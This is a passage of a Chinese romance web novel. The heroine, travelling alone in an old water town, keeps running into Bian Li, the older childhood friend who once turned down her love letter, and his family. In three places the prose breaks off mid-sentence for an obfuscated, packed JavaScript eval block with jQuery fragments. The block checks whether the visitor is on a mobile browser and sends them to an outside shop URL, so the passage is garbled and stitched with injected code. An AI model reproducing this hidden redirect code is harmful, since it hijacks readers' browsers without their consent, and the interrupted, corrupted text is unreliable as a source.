陈佑十分自豪:“那是当然!所以有人泼脏水,我就特别生气。”
两人算是“不打不相识”,又都是外向的性格,误会解开,聊了没两句就和熟人一样了。
正说着,那位在车上见过的彪形大汉朝曲清宁走了过来。
她眨了眨眼,对方从身后拿了一杯热气腾腾的果茶放在了她面前。
“小心烫。”完全想不到这么细腻的话会从这样的一个人口中说出来。
还只有她一个人有。
等亲爸走了,陈佑才解释说:“这是我爸经常做给我妹妹喝的苹果茶,甜的,可能觉得你也是女孩子,会喜欢喝。”
“谢谢。”
咖啡太苦,不在曲清宁的选择范围内。一年四季都是点奶茶,这还是她第一次喝自制的热果茶。
尝了一口,没想到还有淡淡的茶香。苹果被炖煮的软烂,和平常生吃的感觉不太一样,果肉清新的甜味更加分明。
“很好喝诶!”
得到她的肯定,陈父不苟言笑的脸上难得有了一丝松动,他很轻微地扯了下嘴角。
曲清宁往长凳里面坐了坐,询问说:“辛苦叔叔招待了,您也一起来吃吧?”
她的笑容明媚又漂亮,很难让人拒绝。
陈父都没想到小姑娘这么懂礼,愣了下,又摇了摇头。
“你们小孩先吃,我再炒几个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372141|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
菜。”他的声音低沉浑厚。说完,陈父又转身进了厨房。
等人走远了,陈佑开始控诉:“哇,我平时叫我爸多弄几个菜都得求半天,还得靠我妹妹。这就是当女生的好处吗?”
曲清宁歪头笑了笑,下意识地想接一两句话,但对上陈佑旁边边理的视线后,又很快抿住了嘴。
果不其然,没多久,又上来了几道主菜。
荤素搭配,咸香偏甜,很少有辣味,曲清宁也吃开心了。
只是顾及边理在对面,所以都是小口小口地品尝,不然她早就拿开启第二碗了。
三个人的聚餐意外得安静,曲清宁都能听清楚从青石板路上过去的自行车小电驴的声响。
直到中途边理去拿纸巾了,陈佑才敲了敲桌面。
这像是两人快速建立起友谊后,自动解锁的暗号,曲清宁也不知怎么的就听出来了是他在叫自己。
她正夹了一筷子浓油赤酱的鲜面条,尝了一口后才悠哉游哉地看向对面,含糊不清地问:“怎么了?”
陈佑俯身沿着桌子,往她那边靠了靠,用极为细小的声音说:“你是不是那个谁啊?”
曲清宁:“?”
她眨了眨眼:“什么?”
陈佑比她还着急,一骨碌就说了出来:“就边理哥的追求对象啊。”
这从哪得出来的结论?
曲清宁差点被噎住,抿了一口果茶后才回应:“不是!”
“真的?”陈佑像是发现了秘密一般,抛出证据:“他和我好歹还算是一个镇上的,我过一去,他立马把你护在身后!”
曲清宁又开始磕磕绊绊了:“有、有吗?”
当时太紧张了,都没注意什么细节。
现在被他这么一提,曲清宁想了想,好像确实有这么一回事。
不知道为什么心跳有点快,纠结了下,曲清宁还是问出了口:“……他没女朋友吗?”
陈佑摇了摇头,一脸高深莫测,在脑瓜子里搜索了半天,终于给了肯定的回答:“应该没有。”
他还给了二重保证:“至少我没听到过。”
那之前大学里谈的那个是分手了吗?
没等曲清宁深问,后面的脚步声逐渐靠近。
她不敢再问,陈佑也瞬间安静了下来。
路边的小电驴和人声再次变得清晰,曲清宁咬着面条的动作都轻柔了不少。
那道身影没一会儿就停在了她旁边。
曲清宁余光瞥见他垂在身侧的手,骨节分明,白皙干净,手背上的青筋都清晰可见。
“还有想吃的么?”
头顶响起声音。
心跳也跟着加重了。
曲清宁没抬头看他,就小声地说:“没有啦……我晚上也不习惯吃太多。”
边理看了看她,又瞥了一眼陈佑,不知道在想什么,过了半分钟,才开口:“嗯,也行。”
这句说完,边理若有所思,许久又补充了一句:“这几天要是有空,可以来我家。我做的菜没有陈叔的这么地道,但勉强还行。”
他的语气还是一如既往地平稳、淡然,也是这么习惯性地就会照顾她。
但,也就只是照顾而已。
想到这里,刚才的心动瞬间消失得无影无踪。
心里无端泛起了波澜,曲清宁眨了眨眼。
她知道边理一直以来都是谦虚的性子,他要是说勉强还行,那翻译过来,就是好吃并且得到了很多人的认证。
换做是别的亲朋好友,曲清宁可能会厚着脸皮去蹭一顿饭。
然而,是边理。
之前自己做的那些丢脸又尴尬的事情,曲清宁完全无法忘怀。
她很快站起身来:“不用了不用了,边理哥你肯定很忙的吧?我就不去打扰了。”
直起了身,曲清宁才发现自己居然只到他的下巴附近。
比小时候的差距还要大。
她得微微仰头或者后退一点,才能和他对视。
曲清宁的视线自然落在了他的脸上,不自觉地就被吸引了过去。
边理的长相和几年前她见过的相差不大,眉眼如初,清冷干净,目光是永远是理智锐利的。
可能唯一变化的,就是多了一份平和与坦然自若。
不过这点曲清宁的感觉并不深刻,因为从她认识边理的第一天起,边理在她心中就是十分可靠的形象。
如今她意识到了他们之间的差别,边理是什么样的形象也就不重要了。
反正她都是要敬而远之的。
曲清宁说完拒绝的话后,边理脸上的神情没什么变化,依旧是淡淡的。
完全是在意料之中。
曲清宁看他轻微动了下嘴唇,像是想说点什么,不过最后还是没说出口,化成一个尾音很轻的“好”字。
“那就看下次有没有机会吧。”
他并没有进一步地挽留。
曲清宁心里那点曲折迂回的期待也突然落空。
“嗯,谢谢边理哥。”
她低着头,也客气地回应了下。
4. 第 4 章
饭后回民宿,曲清宁庆幸自己和边理不同路。
道了别,她飞快地就跑了。
然而进了房间,关上了门,曲清宁仍感觉到心脏在疯狂跳动。
她想不明白,怎么偏偏在旅游的最后一站遇到了边理?
遇到谁都行,但绝对不能是他。
睡前曲清宁照例和万梦通电话,她把这件抓马的事迅速告诉了闺蜜。
“这不是很好吗?”万梦倒是比她还激动,“谁能有机会再次碰到自己喜欢的人啊?非常偶像剧了。”
万梦并不知道她和边理的过往。
因为父母是朋友,两家又住得近。曲清宁经常会被父母带着去边理家玩。
年纪小的时候,总是很容易对大孩子产生崇拜感,再加上边理长得好看,曲清宁又从小就是颜控,所以一见面就开始跟在人身后打转了。
后来熟了起来,她更加是有事没事就缠着大她三岁的边理。
这种情况一直持续到了曲清宁意识到男女有别。
“他没说烦你吗?”万梦问她。
曲清宁想了想:“小时候吗?应该没有。”
她替边理解释:“他很听长辈的话,又有礼貌,就算觉得我烦,也不会说出来的。”
“管他呢。”万梦已经开始上头,“这不就是青梅竹马吗?还有年龄差!”
曲清宁很不忍心打破她的幻想,但还是直白地说了:“不用磕了,我之前和他表白过,被拒绝了。”
高中情窦初开,似乎身边的小姐妹里好几个都有暗恋的人。
每次和暗恋对象擦肩而过或是对视时,其他人都会跟着提醒。
在这个好友组成的圈子里,唯独曲清宁一直没说喜欢谁。
于是高考毕业后,几个朋友架着她层层追问,曲清宁才给出了自己的答案。
她说是边理。
朋友愣了愣,问她哪个班的,长得帅吗?怎么从来没听过这个名字。
曲清宁往常都是活泼的性子,这时候被问到了,却十分腼腆地说是从小认识的一个哥哥,没和她们一个高中,已经在读大学并且保研了。
听到边理是A大的,几个朋友还惊诧好半天。
国内顶尖的院校,可不是那么好上的。
惊讶之余,朋友又问他们是否有联系。
高中那会儿比较忙,曲清宁只有在过年时才会见到边理,为数不多的联系应该也就只有她偶尔发个题目过去,问边理怎么做,或者帮长辈问句话。
边理每次都会回她的消息,关于学习上的问题更加会解释得详细。
只是日常聊天,几乎是不存在的。
可能也就是高考完毕业了,精神松懈了,被朋友一鼓励,曲清宁大着胆子就写了一封情书,寄到了边理在的大学。
看到信件被签收了之后,曲清宁又紧张又害怕。
没多久,她拿到了回信。
当时是在家里,快递一到,几个朋友都围着她,大气不敢喘一口,气氛不亚于高考查分。
曲清宁小心翼翼地打开信封,看到的开头第一句却是谢谢你的喜欢。
典型的发好人卡的开头。
心里顿时凉了一半。
再往下看,只有几行字。边理十分礼貌又有分寸地拒绝了她,结尾还说出分后填志愿,她要是有想要了解的,可以问他。
但这些都不重要,最为醒目的是他说他已经有女朋友的那句。
时至今日,曲清宁仍然记得当时浑身冰凉、喘不过气来的感受,太难受,太让人抗拒了。
收到信那天之后,边理还给她打了几通电话,曲清宁都没接。
后来发了几条关心她学习的消息,曲清宁也不好意思再回,只匆匆给了句“打扰你了,边理哥,十分抱歉”,就再也没有点开和他的对话框。
听完曲清宁的讲述,万梦也沉默了一会儿,接着,才小心翼翼地问:“那你现在呢?还伤心吗?”
很多年都没有人这么问她了,曲清宁趴在枕头上,思索了片刻,诚实回答:“应该还有一点点吧。不过更多的是尴尬。”
她把脑袋埋在了枕头之间,隔空蹬了几下腿,后来有点缺氧了,才重新坐了起来。
深思熟虑后,做出决策:“我觉得我这几天还是不要出门了。”
理智上她知道事情都过去这么久了,没必要在乎,但过不去心里的那道坎。
只要一见到边理,她那些安慰、鼓励自己的话就悉数都不管用了,只会大脑一片空白,被些许不知名的激素控制身体。
她不想再在边理面前丢脸,更不想再回忆起那些陈年旧事。
俗话说三十六计,走为上计。
所以不出门,就绝对不会有事发生。
万梦和她一起住了四年,自然知道她心里再想什么,耐心开解说:
“你可以这么想啊。那都是以前的事了,谁十几岁的时候都有那么一点感情上的小曲折嘛。身边的男生也就那么几类,什么同学、隔壁的邻居啊,从小一起长大的朋友啊。你暗恋他,他又喜欢她,她又对另外一个他有意思……”
“真要算起来,很复杂的。现在你看看,其实没几个人是真的在一起的吧。都是青春期作祟,好像总要喜欢上那么一个人,心里才会安分点。”
曲清宁盯着墙面,没说话,万梦想了想,又道:“说不定边理以前还暗恋过哪个女生,追不到手呢。”
停了三秒,曲清宁下意识地回答:“那我会非常非常羡慕那个女生。”
万梦:“……”
“ok,没救了。”万梦作势要挂断话:“那你就这几天都浪费吧,出去旅游待在民宿。钱多的话给我点,住我家吧,我不嫌多。”
身边就这么一个可以随心所欲聊心事的好闺蜜了,曲清宁赶紧解释:“不是,我是说以前!现在我肯定不会了!”
她以前那么痴迷于边理,喜欢他好像已经融入到了日常生活每一个部分,每次和朋友提及边理的名字,都会觉得羞涩和心动。
边理给她回复的消息,她都会欣喜地躲在房间里看好几遍。
但边理没有回应她的喜欢。
所以如果有一个人,能被边理追求且无动于衷,以前的她肯定会羡慕不已。
不过万梦没办法和她共情。
万梦一直是单身,也从未有过喜欢过谁的经历。听完曲清宁下意识的发言,只觉得她没救了,不愿再搭话。
直到曲清宁晃了晃手机。
“梦梦~”
又嗲又娇气的声音从听筒传来,万梦招架不住,只好又说了两句:“表白被拒绝真的是很常见的事了。你又没死缠烂打,不择手段。你情我愿的事,有什么好尴尬的?为什么要因为他的出现打乱你本来的计划?”
曲清宁也并非听不进别人的建议,她只是还没从刚刚那样的相遇过程中缓冲过来。
越是在意就难放下。
而且就今天晚上边理对她的态度来看,似乎根本就没把之前的那些当一回事。
只有她一个人在这儿瞎紧张,担心害怕。
何必呢。
彻底想通了,不上不下了半天的心也慢慢放松下来,曲清宁十分赞同:“你说的非常有道理。”
“那是自然。”万梦打了个响指:“那明天继续给我发你旅游的美照哦,多拍拍脸。长这么一张脸不自拍?下辈子给我。”
心情好了,曲清宁开始腻歪:“那我什么都给你好了,你的都给我,我最喜欢你了。”
尽管知道她时不时就要发一下神经,但万梦依旧没眼看,直接丢了四个字给对面又开始欢呼雀跃、就差从床上弹跳起来的人。
“闭麦睡觉。”
曲清宁乖乖躺进被窝:“遵命。”
-
将近十点,陈家饭馆门口的灯笼依旧亮着的,红彤彤地照着一小方地。远远地看着,颇有过年的氛围。
饭后是陈佑收拾的碗筷。
因为家里是开饭馆的,这事他早就做习惯了,利索又迅速。
只不过今天不同。
他今天好不容易碰到一个聊得来的,在饭桌上洋洋洒洒地说了一堆话,心情舒畅了,连擦桌子这件事都哼着小曲,慢悠悠的。
最后把抹布一挂,他伸了个懒腰,打算去门口吹吹风。
古镇的人们休息得早,除了节庆日之外,夜间很少会有活动,这时候已经逐渐安静下来,因此晚上在家门口溜达,最舒服不过。
然而他刚一出去,却发现边理还站在门前。
瘦高的一道身影,却丝毫不显得文弱。因为肩宽腰窄,没有垫肩的外套在他身上也撑得起来。
内搭是一件简约的黑衬衫,领口硬挺齐整。
陈佑以前去面试的时候,也买过一件类似的,不过放柜子里没多久就皱巴巴的了。
但如今看边理穿在身上,却从头到尾都没有一丝褶皱,配上他那张高岭之花般的脸,矜贵斯文的气质简直让人难以企及。
怪不得镇上这么多姑娘喜欢。
陈佑在心里啧了几句,这才打招呼道:“诶?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372142|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边理哥,你还没走?”
说完这句,陈佑瞧了瞧他身边,又摸着脑袋加了句:“诶?曲清宁这么快就走了?”
边理:“……”
刚知道他们俩是认识的,陈佑还以为两个人会一起回去呢。
他嘀咕道:“我还想着哪天约她一起出去玩呢。”
听到这句,边理瞥了过来,陈佑莫名地被看得有些背后发凉。
要不是陈佑知道边理只是长相清冷,实际上待人接物方面都很温和,不然早就被吓得不敢说话了。
边理的语气依旧没什么波澜,好似只是平常聊天那样询问:“你和清宁什么时候认识的?”
“什么时候吗?”
清宁?
这语气已经算得上是亲近了,尤其对于边理这样的人来说。
陈佑很快反应过来,他下意识地就要把昨天的事全盘托出,好在脑子转了个弯,想起自己在饭桌上的猜测,这才堪堪止住了嘴。
“没什么特别的,我们就一点小事认识的。”陈佑摆了摆手,继续含糊道:“真的,我昨天才认识她。”
陈佑看了看边理的脸色,估摸着去猜想。
按照吃醋定律来说,即便他这么说了,边理应该也会面露不悦,但没有。
他似乎真的只是在确认他们俩是什么时候认识的,并没有其他的想法。
问完了这一句,边理点了点头,便没再搭话,低头继续在手机上打字,看着是在给谁发消息。
这不禁让陈佑也疑惑了。
所以其实两个人之间是没意思的?
那刚刚问他那一句做什么?怪吓人的。
他这边深思着,边理已经接到了亲姨打过来的电话。
闹哄哄的声音传来,偶尔还夹杂着几句吴侬软语的方言,一听就是坐在桥头的那家评弹馆里。
万微瞥过头和好友解释了一声“我侄子”,这才对着手机,笑呵呵道:“小理,我和旅游团的姐妹们吃完饭了,来接我吧。你晚饭吃了没呀?要小姨给你点几个菜不?”
边理往曲清宁离开的方向看了看,平静回道:“不用,我吃过了,这就过去。”
“行,那我就在这儿等你,晚上开车慢点,不着急啊。”
边理“嗯”了一声,正准备挂电话,又听到万微说:“你都不知道,我今天碰上了个小姑娘,可有意思了,还叫我姐姐,嘴甜,人长得漂亮又可爱。我还想帮你牵线呢,只是没想到人小姑娘可能没这打算……”
万微一旦开口,就停不下来了。
耐心听完她的话,等着歇息的这几秒钟,边理很快接上:“小姨,你定位还没发给我。”
“定位?”万微这才想起正事:“哦哦,对,现在发给你啦。”
一被打断,刚才的话题也就抛掷脑后了。
边理说了句“马上过去”,万微也下意识地点头说好。
挂了电话,刚才在旁边听的老姐妹纷纷凑上来。
“这是你姐姐那个很帅的儿子啊?”
评弹馆里的人不少,一听有热闹,很快就凑了过来。
没等万微回话,已经有另外一个发出感慨:“哦呦,这么孝顺啊。晚上还特意开车过来接你?你自个儿子都没说这话呢。”
提到自己的儿子,万微故作嫌弃地摆了摆手。
有人跟着应和:“现在的年轻人不是最烦和长辈待在一块啦?真是少见哦。”
在镇上待得久的先出来解答疑惑了:“那可不一样,边理这孩子,爸妈是真教得好,我就去过他家一次,他每回见到我都喊阿姨呢,有时候还帮我捎个顺风车、买点东西什么的。”
“小伙子长得又好看,还有正经工作,要不是人家说了不愿意相亲,我早就给他介绍对象了。”
都是好话,万微听着这些,心里也觉着舒坦,嘴上又情不自禁地夸赞说:“别说你们了,我都希望小理是自己儿子呢。就在评弹馆,他都接过我五六次了,只要他在家,那都是随叫随到。”
话落,万微愣了下,联想起了刚才和边理的对话。
她后知后觉自己早就告诉了边理会在哪等他。
镇上就这么点大,边理也来过评弹馆接她好几次,还会要定位?
这小子刚刚就是故意打岔来着。
在他们几个长辈的眼里,从学历到人品,边理自然是无可挑剔的。
唯独在感情方面,让一家子的人头疼。
想到这里,万微又开始后悔今天在大巴车上没再努力一把,加上那小姑娘的联系方式了。
5. 第 5 章
被万梦开解一番后,曲清宁暂时放下了心中乱七八糟的思绪,按部就班继续旅游计划。
次日看到老板娘拿着菜篮骑小电驴,像是要出门买菜,她顺道问了一句去哪。
老板娘热情地回她说去集市。
“那边还有好多卖衣服、卖饰品的呢,很多小姑娘都爱去逛。”
那不正好?
前天没做成妆造,她本来也是想自己买几条旗袍穿出去逛街的。
曲清宁又问了句:“有旗袍卖吗?”
“当然有啊,款式最好的几家店都在那边。尤其旅游旺季,人多的时候,我听说那旗袍店的老板一个月赚好几万呢,比我这个民宿还赚钱。”
老板娘笑了笑,反问她:“你是不是想去呀?”
曲清宁有点不好意思地点头,老板娘见状,大方地从包里拿了一把车钥匙给她。
“会开电瓶车吧?很方便的。”
打工人的标配了,曲清宁再熟练不过。
接过钥匙后,她就跟在老板娘的身后开始上路。
从民宿拐弯出去,先是需要经过一条沿着河道的石子路,有些颠簸。
老板娘边开边往后注意她的情况,担心她的安全,但没想到曲清宁比她还悠闲,姿态放松,甚至还欣赏起了沿途的风景。
小姑娘随意扎着低马尾,露出修长白嫩的脖颈,头发在阳光下有淡淡的光晕,整个人看着活力四射。
身上是普通的紫色毛衣和深色牛仔裤,简简单单的穿搭套在她身上都格外好看。
老板娘是有些丰腴的身材,这时候忍不住感慨:“果然人还是要瘦点穿衣服才好看,我看那边的旗袍你随便挑,哪一件你穿都肯定漂亮。”
曲清宁正看着前面的路,听到她这么一说,笑着回话:“不一定啊。健康才是最美的,我还担心我太瘦了,有的衣服撑不起来呢。老板娘你穿旗袍就很好看啊,我还是看着你穿才想去买的呢。”
这话不假。
曲清宁来民宿的第一天,老板娘穿的就是一身深蓝色的旗袍,她身材高挑,显得庄重又优雅。
看了她,曲清宁才有了去做妆造的打算。
她来之前是没想到支出这一笔钱的。
老板娘被她夸得心花怒放,沿途又开始和她搭起话来。
半小时的交谈里,曲清宁知道了她的名字,叫刘曼轻。
刘曼轻今年五十三了,早年丧偶,家里只剩下了个两岁的孙女和快八十岁的婆婆。儿子是在外做生意的,前几年结了婚,只有春节几天才回家。
她经营的这家民宿则是早年间和丈夫一起打拼的成果。
这曲清宁也多少了解一些,她看到了民宿大厅里摆着的全家福。原以为是丈夫和儿子一起出去工作了,没想到男人已经离世。
生离死别的话题总是格外沉重。
安静了一会儿,曲清宁问她:“您和叔叔的感情很好吧?”
刘曼轻眼里闪着泪花:“嗨,说什么好不好呢。都是几十年的夫妻,也就凑合着过,只是他命不好,走得太着急了。”
安慰的话似乎显得有些多余,曲清宁就自动充当了倾听者的角色,听她讲故事。
许是很久没有这么和人谈过心了,刘曼轻一时间竟然也忘记了旁边的人是比自己小了二十几岁的小姑娘,一个没忍住,把和丈夫相知相爱的事迹悉数说了出来。
自己亲身经历甜蜜的事,回忆起来总是津津有味,但在别人看来不一定如此。
刘曼轻还担心曲清宁听着无聊,几次打算停下,然而没想到曲清宁就那么认认真真地当听众,还会回应她,和她打趣。
中途讲起她早餐喜欢吃包子配豆浆,于是丈夫去早点店买早餐时都会顺手捎上一袋,后来养成了习惯,男人一个人出差在外地也买了好几次,付完帐了才意识到老婆不在身边。
曲清宁听完后没说丈夫对她有多好,反而道:“您连这么细节的事情都记得清楚,叔叔要是不喜欢您才奇怪呢。”
刘曼轻倒是第一次听到这么新鲜的说法,不由得晃了晃神,哑然失笑。
“都一把年纪了,还说什么喜欢不喜欢,怪害臊的。”
老是对别人说起丈夫有多爱她,她都很少意识到,原来自己也是如此。
爱应该是相互的。
正说着,到集市了。
脚踩着刹车停下,刘曼轻扯着衣服擦了下眼泪,就指着方向,条理清晰地告诉曲清宁旗袍店在哪、首饰店在哪。
她说得很清楚,但很不幸运的一点是——曲清宁方向感无敌差。
只有跟着准确的导航走,她才能顺利地到达目的地。
平时跟着朋友出去旅游,她基本上不会被分到看路找店找地方的角色。
被刘曼轻拉着讲了一通后,尽管还是没弄明白在哪,但曲清宁不好再麻烦她,点头应下,心里想着待会儿还是搜导航好了。
她下了车,把小电驴停靠好,又和刘曼轻打了一声招呼,便往她指着的方向去了。
然而刚迈出一步,人群中突然传来清脆的一声。
“曼轻!”
古镇上的居民每天都有不少来赶早市的,刘曼轻在这儿住了几十年,家家户户都认识,碰到熟人也不稀奇。
只不过这声音怎么有些耳熟?
站在刘曼轻的身后,曲清宁也向那声音投去目光。
只见一个盘着头发的中年女性从纷纷扰扰的人群中小跑出来。
她一身黑色的长裙,外面披着深色大衣,气质温婉又端庄。饶是发间已经有了些许白丝,也丝毫不影响。
女人手里也提着买菜的篮子,走到刘曼轻面前后,笑吟吟地站住了脚。
刘曼轻对人向来是十分热络的,很快便回应了说:“若素?哎呀,今天怎么这么巧,正好碰上你了?平日里不是你老公来买菜的?”
“对,以前是他来,这几天不是伤到脚了嘛,就换我了。”
两人在前头寒暄,曲清宁一个外人,却也没走。
若素?
名字在脑海中过了两秒,她定定地回忆了下。
还没等她从众多亲朋好友中搜寻出是谁,女人已经走向了她。
对方的面容逐渐变得真切,在曲清宁瞪大眼睛,即将脱口而出她的名字时,万若素比她先惊喜地喊了出来:
“清宁?你怎么会在这儿?!”
万若素。
是边理妈妈的名字。
她想起来了。
曲清宁:“……”
万若素仍和记忆中的一样,容貌气质几乎没有变化,但曲清宁怎么也没想到会在这里遇到。
今天她没化妆,头发也是随手扎着的,身上的衣服还是昨天随便从行李箱最上方扯出来的一件。
曲清宁不动声色地理了下头发,十分拘谨地打招呼:“阿姨好。”
万若素直接绕过了刘曼轻,走到了她身边,言语温柔地问:“真是很久没见了,都长这么大了。什么时候来的?怎么没和阿姨说一声?你爸妈一块儿来了吗?”
问题一个接一个,对着万若素那张关切的脸,曲清宁卡了下壳,不知怎么的变得紧张起来。
旁边的刘曼轻全部帮她说了:“哎呀,你们认识啊。这小姑娘就住我那呢,一个人,三四天前来的。”
一听她是一个人来的,万若素诧异了下,不过很快又道:“一个人来旅游的?那什么时候有空去阿姨家里坐坐?你小时候——”
“小时候”这个词会直接牵扯出很多固定句式,曲清宁就大概猜出了万若素想要说什么,她下意识地想打断。
但多想了一步,就觉得不礼貌,所以还是忍住了。
“——你小时候不是最喜欢和边理一块儿玩?”
曲清宁:“……”
果然如此。
集市之中再吵闹不过,曲清宁没回应有关边理的这一句,含糊其辞地说了几遍客套话:“好的,阿姨,我有空就去,有空就去。”
架不住万若素听力好,一听她这客套话,立即道:“就这两天嘛。”
曲清宁还想拒绝,万若素忽然抬了下手,朝身后喊了一声:“边理!”
要说原本曲清宁只是有那么一点紧张,那现在听到了某个人的名字,就是直接应激反应般地心头一颤了。
她缩了缩脖子,心里祈祷无数次。
千万不要看到她好吗?
她是早就想要放下了,还没打算这么快就再次见面呢。
然而事实是,下一秒,本来还在摊位前付钱的边理看了过来。
而且还那么恰好,视线先落在了她身上,随后才看向了万若素。
曲清宁:“……”
边理脸上露出了几分迟疑的神色。
其实不明显。
只是曲清宁对他的表情太熟悉了,所以一瞬间就能感觉到。
联想到昨天的事,曲清宁更觉得尴尬了,恨不得立刻逃离现场。
不过大人没察觉到这点,还是把边理叫了过来。
实际上边理也没料到会在这里碰到曲清宁。
昨天去评弹馆里把小姨接回家后,两姐妹坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372143|199965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在客厅里,轮流探讨起了他的终身大事。
边理不能不听,但也没办法答应什么。
他并非亲妈和小姨认为的打算孤独终老或者想要气死她们,只是觉得感情上的事情顺其自然更好。
接触的异性少,他也没有理想型。如果在短短的几十年人生中,可以遇见合适的人,那他也会愿意步入婚姻。
而且他有很严重的感情洁癖,并不想轻易地开始一段感情,一旦开启,那么希望能够和对方一直走到最后。
奈何这些话讲给长辈听是没有用的。
于是边理只能趁她们喝茶的空隙,随口问了句亲妈今早上要不要来赶集市,他可以陪着一起过来。
这才成功转移了话题。
因为晚上被两位长辈语重心长地教导了,边理也就忘了把碰到了曲清宁这件事告诉万若素。
不过现在看来,情况也挺好。
万若素果然和他想象中的一样欣喜。
她拍着边理的肩膀,扬起笑容说:“你看看,清宁来我们这儿玩了。儿子,这几年过年你都没去走亲戚了,你们还有没有联系啊?是有的吧,我看你之前还给清宁讲过题呢。”
不知想到了什么,边理顿了顿,少见地没有接亲妈这句话。
曲清宁也只是扯着嘴角笑笑。
讲题已经是几年前的事了。
那些记忆都已经变得模糊,深刻的只有她收到边理写的那封拒绝信的画面。
而万若素越是提及以前的事,关于她喜欢边理、追求边理、最后再被拒绝的点点滴滴就越是明晰。
明明已经过去了许久,她也万梦说过自己不在意了,但本来平和的心情不知道为什么逐渐变得有些失落。
然而夹杂在这之中,曲清宁也只能保持微笑。
她不清楚万若素是否知晓自己表白了的这件事。不过即便知道了,可能也只是把这当成一个小孩子之间的打闹来看。
面子上还是父母之间的情谊最重要,这必须得维护好。
他们就站在集市的入口,嘈杂的人声不绝于耳。任何一点余光不敢往旁边多分,曲清宁只热络地、用那样刻板化标准化的打招呼方式,和万若素回话。
好像过了许久,她才感觉到有人瞥过头来问:“是打算来买什么东西么?”
边理这一句话打断了几个人的交流,万若素和刘曼轻这才意识到自己说得有点太多了,急忙住了嘴。
这点心灵感应倒是格外有用,曲清宁反应过来,迅速找借口离开:“那两位阿姨,我就先走了,下次有机会再聊。”
“这样啊……好嘞。”
好不容易见到了熟人,万若素心里是不舍的,何况她也一直喜欢曲清宁,以前都恨不得认作干女儿,但集市也不是聊天寒暄的地儿,她只得应了下来。
很快,万若素又想起了自己的儿子,摆手一挥,指着边理道:“儿子,你陪清宁一起去啊,给她带带路,带她到处转转。”
说着,万若素已经推着自己儿子到她面前了,压根没给曲清宁拒绝的机会。
两个大人很快挽着手去菜市场了,瞬间只剩下了他们俩。
氛围并没有轻松多少。
曲清宁甚至感觉比刚才还要拘谨了。
好在四周嘈杂,可以掩盖住她心里的那点慌张。
边理依旧是那么冷静自持地问她:“要买什么?”
曲清宁盯着地面,结结巴巴扯出了一个答案:“没、没什么,就想看看有没有什么好玩的。”
其实她想说还有小吃,但她担心总是提吃的,会给边理留下关于自己不太好的印象,于是直接跳过了。
边理点了点头,心里估摸了下她会喜欢去逛的地方。
“行,那边有一整条街,可以逛。”
在这种时刻,曲清宁自然是听他的。
两个人顺着人流往上。
集市人多,摩擦碰撞是常有的事,陌生人都被挤着不得不挨着肩膀往前,他们之间却天然似的隔开了一段距离。
静悄悄的,谁也没说话。
曲清宁好几次都差点被路人撞到。
实在忍受不住了,她才终于站住了脚,小声提议:“边理哥,其实刚刚曼轻姨给我指了一些好玩的地方,我自己过去就行,你不用陪我的。”
她特意等着和万若素她们离远了才说的,免得他不好交差。
只是没想到,在她说完之后,边理也停了下来。
但他好像也并不意外这个答案,只过了几秒,便回她说:
“你记得路?”
6. 第 6 章
边理的声音明明也不大,然而却像一股风,直冲冲地撞进了曲清宁的心间,勾起了一连串的回忆。
小时候她和父母吵架了,离家出走过一次。只是走着走着,把自己给弄迷路了。
当时已经天黑,下着雨的,曲清宁只得躲在一家倒闭了不知道多久的店门口,坐在地上,抱着膝盖哭。
她开始后悔自己乱发脾气,期待着父母能够来找她,但又害怕找到了之后,他们会狠狠地责骂她一顿。
在这样纠结的心态中,几岁大的曲清宁抱着膝盖,一边望着路边来来往往的人,寻找着熟悉的身影,一边又遮遮掩掩地挡着脸,不想被父母看到自己掉眼泪。
然而过了许久许久,在周围都变得寂静下来时,仍旧没有谁发现她。
看着街道上的人逐渐变得稀少,听着轿车疾驰而过的声响,一股恐惧感慢慢地在心底油然而生。
曲清宁开始频繁地往十字路口看,希望能再多来点人。
只是已经到了深夜,离下班放学高峰时间都过去了几个小时,哪还会有什么人?
这时候走丢的恐惧已经大过了其他所有情绪,克服了害怕和陌生人打交道的心理,曲清宁打算冒着雨去找一个路人请求帮忙。
如果对方有事,没办法帮她的话,至少也告诉她去哪里可以找到警察叔叔或者可以打个电话给她爸妈。
她哆嗦着手,浑身打颤。
为了不挡住视线,还得不停地抹着眼泪。
但为数不多的几个路人也行色匆匆,压根没发现她,很迅速地从她旁边擦肩而过。
小时候的曲清宁本就有些内向,伸出手了好几次没得到回应,心里又着急又沉重。
就在她差点崩溃时,有人喊了她的名字。
“曲清宁!”
泪水和雨水在脸上交织,曲清宁可怜巴巴地愣了下,随即回过头,不可置信地看着气喘吁吁跑过来的边理。
